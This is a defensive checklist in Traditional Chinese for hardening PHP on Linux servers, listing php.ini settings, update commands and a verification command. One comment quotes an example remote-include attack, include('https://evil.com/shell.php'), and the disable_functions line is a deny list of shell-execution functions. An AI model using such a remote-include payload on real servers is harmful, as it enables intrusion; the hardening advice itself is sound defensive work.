# 查看已載入模組
php -m
# 移除不需要的模組(編輯 php.ini 或移除 /etc/php.d/*.ini)
# 例如:pdo_sqlite, pdo_mysql 等視專案需求保留
# /etc/php.d/security.ini
expose_php = Off
驗證:curl -I https://example.com/index.php 不再出現 X-Powered-By: PHP/x.x.x
# /etc/php.d/security.ini
allow_url_fopen = Off
allow_url_include = Off
防止 include('https://evil.com/shell.php') 類型攻擊。
# /etc/php.d/security.ini
display_errors = Off
log_errors = On
error_log = /var/log/httpd/php_scripts_error.log
# /etc/php.d/security.ini
max_execution_time = 25 # 秒
max_input_time = 25 # 秒
memory_limit = 30M # 依應用調整
# /etc/php.ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
# /etc/php.d/security.ini
file_uploads = Off
# 若需開啟,限制大小與類型
file_uploads = On
upload_max_filesize = 2M
post_max_size = 8M
# RHEL/CentOS
yum update php*
# Ubuntu/Debian
apt-get update && apt-get upgrade php*
訂閱安全公告,首日漏洞修補至關重要。
# /etc/php.d/security.ini
open_basedir = "/var/www/html/:/tmp/"
# 防止存取 /etc/passwd 等敏感路徑
# /etc/php.d/security.ini
post_max_size = 1M # 依業務需求調整
防止大量 POST 資料耗盡記憶體導致 DoS。
# 檢查生效設定
php -i | grep -E 'expose_php|allow_url_fopen|display_errors|open_basedir|disable_functions|post_max_size|memory_limit|max_execution_time'